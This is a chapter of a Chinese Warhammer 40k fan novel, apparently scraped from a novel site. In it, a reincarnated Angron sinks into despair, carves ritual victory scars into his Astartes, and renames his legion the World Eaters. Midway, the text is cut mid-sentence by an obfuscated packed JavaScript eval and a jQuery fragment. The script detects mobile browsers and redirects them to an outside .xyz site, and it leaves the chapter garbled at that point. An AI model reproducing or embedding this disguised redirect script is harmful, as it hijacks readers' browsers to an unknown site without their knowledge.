30.吞世者

作品:《2k安格隆穿越战锤40k

    “红天使”的名称与初战就全歼敌人的消息迅速传遍人类帝国。


    但在此时此刻,安格隆只是安静地与子嗣们待在一起。


    十八连的技术军士去采集“沙漠之神”大炮的相关信息,回来时小心翼翼地询问安格隆能把“沙漠之神”搬到他们船上吗。


    每个大连队都有自己的战舰,十八连的战舰名为“猎犬之牙”号,是一艘挺大的战列舰,塞一个五万平米底座的大炮绰绰有余。


    安格隆同意了。


    过了一会儿,技术军士又汇报道,他们发现这个王国的特产是一种能在沙漠种植的农作物,这个也能搬到船上吗,他们想留作首战的纪念。


    安格隆也同意了。


    又又过了一会儿,一些阿斯塔特勇敢地来汇报,他们想把那几个刻着“归来”的巨石景观也带走,这个可以放在坚毅决心号上,只需要在角落写上“安格隆与十八连于此共同摧毁了一个王国”。


    “你们干脆把整个皇宫搬走吧。”安格隆不耐烦道。


    但过了一会儿他还是点头道:“搬一部分就好,不然太占地方了。”


    这下十八连的阿斯塔特们终于确定安格隆此刻很好说话,都大着胆子围过来,想和原体更靠近些。


    玛戈借助连长的权势离安格隆最近。作为曾经直面原体怒火之人,他发现原体变得不太一样了……似乎脾气更好了……但也更为悲伤了。


    安格隆是真没招了。


    他刚刚才得知,原来自己一直处于一位邪神的阴谋之中。他的过去被算计干净,他的未来已然注定,他必须经历所有不能抗拒的痛苦,然后成为邪神的永世之奴。


    可以说,他从一开始就是一位奴隶,从未得到自由。


    逃跑是所有动物在面临生死危机的生存本能,如果危机已经超出了动物的处理机制,那么它们就会进入浑身僵直的假死状态。安格隆正处于这种被生活揍得扁扁的状态中,只能对外呈现出一种逆来顺受的态度,也就是俗称的摆烂。


    他再也没有立场指责十二军团是别人的工具了。至少十二军团还知道自己为何而战,他却连恐虐是个什么东西都看不清。一想到从前还傻傻地与霍恩签订合同,还对霍恩有诸多感激,他就无法原谅自己。


    他也不能在这群家伙面前自认为自己是个尊贵、强大的原体了,他其实是个没有自由的奴隶,他的尊严已经被事实踩进泥地里,他的骄傲已然荡然无存。现在十二军团想对他做什么就做吧,他什么都不会拒绝的。


    所以他现在处于一生中脾气最好的状态,对十八连有问必答、有求必应。


    如果来的是卡恩和他的八连,那估计要出点事故。幸好现在在安格隆身边的是玛戈,他是一位懂礼仪也懂约束自己的连长,暂时没有发现安格隆这种状态,稍微让安格隆好受些。十八连的阿斯塔特在发现原体的好脾气以后只是在周围围成一圈,默默整理自己的武器,时不时看看近在咫尺的原体就会开心地摇尾巴了。


    过了一会儿,玛戈也鼓起勇气与安格隆闲聊:“父亲,机械教派的动力甲是否不符合您心意呢?”


    安格隆看看自己又破了一半的盔甲,老实道:“那玩意只会束缚我的动作,我以前可从来没穿这么多。”唉,他怎么又提以前了。


    安格隆心烦意乱。


    玛戈:“您以前也是一名战士吗?”


    这话正戳中安格隆的伤心处,但他没有力气用愤怒伪装自己,他无奈地用低哥特语解释,因为纳加卡利语没有这个单词:“以前我是一位……角斗士,娱乐性质那种。我的母星相比这里很和平,没有战争。”


    玛戈有些诧异,完全想象不到安格隆竟然是从和平的文明中诞生的。但看看如今原体这番平和的模样,他又觉得有些道理。无论如何安格隆都是他们的父亲,有时候是愤怒得要把他们十一抽杀的父亲,有时候是像现在这样平易近人的父亲。


    玛戈又察觉到一丝疑点:“但您身上有很多伤疤……请原谅我的冒犯。”


    “这不是伤疤。这是胜利的标志。”安格隆依旧好声好气地解释,所有阿斯塔特都忍不住竖起耳朵聆听他们的对话,一些阿斯塔特甚至实时转播给舰队上的兄弟听,绝对不是为了炫耀,只是在好心分享。


    安格隆虽然不知道他现在的伤疤是怎么来的,但他以前确实有条“凯旋之绳”,于是挪用了以前的经历。反正还能有人跳出来说他是胡说八道吗?


    在20世纪末,安格隆一开始在地下拳馆打黑拳以谋生。


    因为他没有输过,而他的对手总是鼻青脸肿,所以他也想留个伤疤以示对对手的敬意。只要他们拼尽全力,他就会像记住伤疤一样记住他们。


    后来安格隆赢得太多次了,伤痕从脊柱蔓延到下腰,再从体侧绕到身前,往上生长到胸口处。久而久之,粉丝们认为这是安格隆在记录自己胜利的数据,亲切地称呼它为“凯旋之绳”。


    他到了颅骨俱乐部后依旧保持这种传统。那时他意气风发,颅骨排位赛胜利后当众邀请一位的观众替他在身上划个小伤口,所有的观众立刻沸腾尖叫,被打倒的选手原地复活,声泪俱下地恳求成为这个幸运儿,为他身上即将流出的血疯狂无度,恨不得整个人贴上来舔走血迹。它们争先恐后、丑态百出,那时安格隆还觉得这场景挺可笑的。


    现在看来,可笑的是自己……


    安格隆回想往事,意志消沉。


    “我赢一次,就在身上划一个红色的伤疤,视为那场战斗的荣誉纪念。它叫‘凯旋之绳’。”饶是回忆不光彩,安格隆依旧对玛戈解释道,“输了,就用当地的泥土混进伤口里,形成一条黑色的伤疤。但我至今都没有输。”


    战犬们立刻决定回去后效仿原体刻一条红色伤疤,来纪念今天能与原体共同作战的荣誉。他们迫不及待能与原体有更多共同点。


    安格隆清晰地感应到了战犬们的情绪,他以为这是传说中的“父子基因感应”,没多想。于是他扯了扯嘴角,对身边的玛戈说:“你想让我帮你划一条?当然可以。”


    他现在就是什么都能答应的状态啊!


    玛戈又惊又喜,完全没有想到这等好事能被自己撞上。他试图笨拙地脱掉动力甲的上半部分,可惜那太沉了。他这会总算理解原体那句“束缚我的动作”的意思。这动力甲有时候真的太碍事了!


    “这个你可以自己脱掉吗?”安格隆很怀疑这点。


    “请原谅我离开片刻。”玛戈只能如此说道。


    他环顾四周,发现阿斯塔特们直勾勾地看向这个方向。无需言语,他再次感受到了他们的心声,他们都想获得被原体刻下凯旋之绳的荣誉。在屠夫之钉平静之后,他们的“基因感应”似乎明显了一些。


    安格隆没有过多理会这变化,挥挥手,干脆道:“小崽子们,一起来吧。”


    所有的阿斯塔特都欣喜又沉着地动起来,哪怕之前去搬运“沙漠之神”的技术军士也在好友的呼唤中火速前来,跑完之后立刻相互帮助脱掉动力甲,露出精壮的后背与黑色甲壳的神经接口。舰船上的阿斯塔特们目瞪口呆。


    安格隆注意到一直有位阿斯塔特没有离开去脱他的动力甲,问道:“你是谁?怎么一直待在这?”


    那名阿斯塔特涨红了脸:“我之前是您的荣誉卫队成员。虽然我已经被打败,但我还是希望能守护您身边。”


    安格隆沉默了一番,觉得这些人蠢得可怜。但正因为他们有共同的愚蠢,如今安格隆竟然觉得他们有几分相似了。


    如果全军团都是这种不太聪明的样子,未来可怎么办啊。


    安格隆诡异地从消极状态中挣脱出来,作为一名父亲,他至少得弥合军团之间的间隙。如果他继续对原体卫队保持轻蔑,那所有的战犬都会学习他,将这十二个可怜人视为耻辱。于是他对这名阿斯塔特说:“你们之后去找卡恩报道,我另外安排你们。”


    这名幸运的原体卫队成员几乎喜极而泣。


    玛戈回来了。在众人见证下,安格隆亲手在他的后背划上一道血豁口。结果因为阿斯塔特的自愈功能,一点伤疤都没有。安格隆想了想,给自己也来了一刀,用自己的血混进玛戈的新伤口里。这次玛戈的后背形成了一道猩红色的伤疤。


    “父亲……”


    所有人都看见了安格隆手上的伤口。明明原体在整场战争中一点伤都没有留下,但却愿意为他们的荣誉流血。他们真的值得原体这样做吗?他们的英勇足够承担得起这次的荣誉吗?他们默默发誓不会忘记这个场景,并之后愿意为此付出生命。


    凯旋之绳的仪式还在继续,在血与血的链接中,他们仿佛也分享了原体的情绪,那是不知从何而来的沉重与悲观,只是一点点就让他们的心脏如缀巨石。


    “父亲……”


    “别光叫我,说点高兴的事。”安格隆不满地嘟囔道。


    十八连安静了一瞬,转而绞尽脑汁搜刮点新闻和原体分享。


    “在您的带领下我们击败敌军,犹如猎犬撕咬猎物般吞噬城市,我听见敌人害怕地称呼我们为‘吞城者’……”一位阿斯塔特说道。


    另一位阿斯塔特激动地起誓:“未来我们也将如此英勇,为您吞噬世界!到时候十二军团的名字无人不晓,新的敌人听闻我们的舰队号角便崩溃逃亡,将有无数敌人咒骂,无数人类欢呼我们的新外号——吞世者!”


    “吞世者……”舰船上的阿斯塔特也觉得这个外号不错。


    十八连开始热烈地讨论对未来的畅想中。那些温暖的情绪微微让安格隆好受些。


    等两千余人刻下凯旋之绳,玛戈将十八连列队完毕,安格隆便站在队伍面前朗声道:


    “很好,吞世者。”


    不少人已经察觉到原体对他们的态度不一样了。原体不再借助卡恩领导军团,而是选择亲自面对每一位战犬。“吞世者”这个称呼将是十二军团的一个重大转变。此刻连舰船上的阿斯塔特也静悄悄,似乎有预感接下来的原体话语将改变他们的人生。


    安格隆说道:“战犬已经是过去的荣光,但只要你们在就没有人会忘记。以后你们将凝聚成一个全新的军团,拥有全新的印记,集结在吞世者的名义之下。”


    阿斯塔特们的气氛火热起来,此后将不再有战犬印记与纯净蓝铠的区别,泰拉荣誉派与原体私兵派的分歧也将消弭,他们都将抹去过去的印记,画上新的符号——原体终于愿意接纳所有的子嗣了!


    今天简直是梦幻的一天,原体质疑他们,要惩罚他们,随后又与他们共同作战,最后接纳他们。在不可思议的转折中,十二军团如获新生!


    现场的氛围格外激动,淹没了安格隆的冷静。


    安格隆实际上对军团没有多大热情,他比现场所有人都像个旁观者。可是,他必须这样做。


    他答应过了,哪怕他现在毫无尊严,他在开战之前便立誓了。他不能在自身遇到无法解决的问题后把烂摊子丢给卡恩处理,他只想对自己的人生摆烂,可至少不去拖累他人,这是他仅存的、尽可能保留的一些原则了。


    “只要你们不辜负这个名字,我就不会违背我的誓言。”安格隆如此说道。


    “我们绝不辜负您。”玛戈庄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378283|180617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    严立誓道。


    闻言安格隆只是勾勾嘴角,像是一个笑容。


    ……


    原体身形高大,一个返程舱只能容纳他一人,于是安格隆独自进入舱体。


    远离了军团,那些支撑他的温暖也随之褪去了。


    一阵毫无理由的寒风黏着他的脊柱,将他体内的炽热之火逐渐熄灭。


    返程舱迅速升空,在轻微的失重作用下,那些安格隆不愿接纳的忧愁与悲伤沉淀在他体内。


    任凭舱体的上升速度再快,他依旧无法摆脱来自现实的重力。他陷入了可怕的悲观之中。


    在短短数十秒的孤独之旅中,安格隆被迫品尝着毫无尽头的失败感。


    他对自己的过往进行了数千次质疑,如果自己更为聪慧一点,是不是能提前看穿血神的诡计,挣脱奴隶的囚牢?


    他对所有认识的人进行了数万次痛骂,如果他们再强大一些,那自己是不是如今有更多助力,不会孤苦无依、深陷被全世界抛弃的恐惧?


    在浩瀚无边的宇宙中,他竟然没有能躲避痛苦的地方。


    他被自己的世界抛弃之后又被遗忘了吗?他不想要的子嗣他接受了,他不想要的军团他接受了,他不想参与的大远征还是亲自去参战了,他不是一而再、再而三地退让与妥协了吗!


    难道他不是忍受了足够多的痛苦,还试图理解这个三万年后的人类社会吗!难道他不值得一些更好的、更为善良的对待吗?难道他向命运索取了一些很昂贵的东西吗?


    为什么胜利毫无意义,为什么战斗永无边界,为什么无法停下无法休息,为什么永远有无名怒火在他体内燃烧,将他烧成一个空壳也不肯罢休!怎么会有一个造物诞生之初就是为了承担被毁灭的命运!


    视窗外的星点暗淡,安格隆从玻璃上看到自己悲哀的倒影。


    在来到这个时空后他试图思索很多东西,却很少仔细看自己,那实在是太怪了。


    他的头皮上被植入脏辫般的恶毒造物,每次与它对抗就耗尽了自己所有耐心。


    他来到这里就没有睡过觉,每次一到小憩的临界点就会被痛醒。他只是靠原体的优秀身体素质扛过去而已,可他来自20世纪末的灵魂真不适应这个。


    脸上多出了许多伤疤,牙齿被替换成尖锐的铜片,害得他一说很长的话就会咬到自己的口腔或舌头。到底哪个该死的把他搞成这样子!


    他身上的凯旋之绳比20世纪末长多了,而且是断断续续的,因为他的身体一直在自我修复,有些割得不够深的伤疤就会被排挤掉,替换成浅色的新皮肤。


    他的身体不断地再生、再生、自愈、自愈,乃至于他的灵魂想死去,他的身体也会中了诅咒般命令他重组复活。于是他忽略了自己一直在流血。


    耻辱的伤口没有愈合。他的为之骄傲的荣誉通通是错误的,他证明自己的强大通通是无用功,所有的抗争都是徒劳,他对自我的幻想破碎了,安格隆本人也破碎了。


    他必须绝望地、孤独地直面这个事实:他没有父亲,也没有母亲,在无数银河人类畅想的未来,没有安格隆生存的余地。


    恍惚间他像回到了降生世界之初,一个弱小无助的新生儿爬出舱外,一个赤身裸.体的战士被奇异怪物撕咬追杀,一个无所凭依的虚无之王在寒天大雪中跪地前行。


    没有退路了,也不会有任何助力。


    绝望到最后只剩下平静。


    只剩下自己。


    只剩下……


    拿起石头对抗的本能。


    ……


    返回舱在坚毅决心号第一飞行甲板着陆。两排昏黄的指示灯映出卡恩翘首以盼的脸。他提前强硬地将此处清场,只想做第一个迎接父亲的人。


    他满心期待地看着安格隆走出船舱,忍不住回想起十八连传来的诸多讯息,例如原体决定将军团改名为“吞世者”,全员将统一换上新的军团标志。这是个好消息,意味着原体终于愿意接纳十二军团,将战犬们视为己出了,他和基尔的对垒也将告一段落。


    原体还分享了一个关于凯旋之绳的家乡习俗,现在十八连人人身上都有那道红色的荣誉伤疤,这让卡恩有些嫉妒,如果是他的八连获得这种荣誉有多好。但那些阴暗的心情都被随之而来的兄弟之爱驱散,玛戈活得好好的,十八连也活得好好的,二连只抓了几个伤员就无功而返,他为此由衷感到庆幸。


    更何况这只是一场小小的战役而已,好吧,虽然是一场意义重大的首战,但卡恩坚信他会和安格隆有更多的未来,他会成为安格隆最信任也最骄傲的子嗣。安格隆之前的行动就是这么告诉他的。什么养子?他根本不知道安格隆有什么养子。


    安格隆走近他,动作不再如之前那样风风火火。他的神态依旧是威严的,但卡恩也能看得出,隐藏在原体皮囊下的悲痛,以及更为压抑的汹涌怒火。那是一座亟待喷发的火山,酝酿着整个银河都为之震撼的能量。


    一见到卡恩,安格隆心中就涌出对不公的强烈愤懑。


    为什么一条狗、一匹马、一只耗子都有自由,


    而他的卡恩却不拥有一丝喘息的余地?


    虽然斯卡布兰德没有言明,但他当然能猜出,在他身边的自始至终都是同一个卡恩。卡恩的命运亦被血神牢牢握在手中。


    如果连安格隆都不愿意救自己的子嗣,将没有人可以救卡恩。


    安格隆想起,在20世纪末尾最后的日子,“疯”了的卡恩其实告诉过他很多东西,只是那时他听不懂。


    现在他明白,原来卡恩在用纳加卡利语对他说话。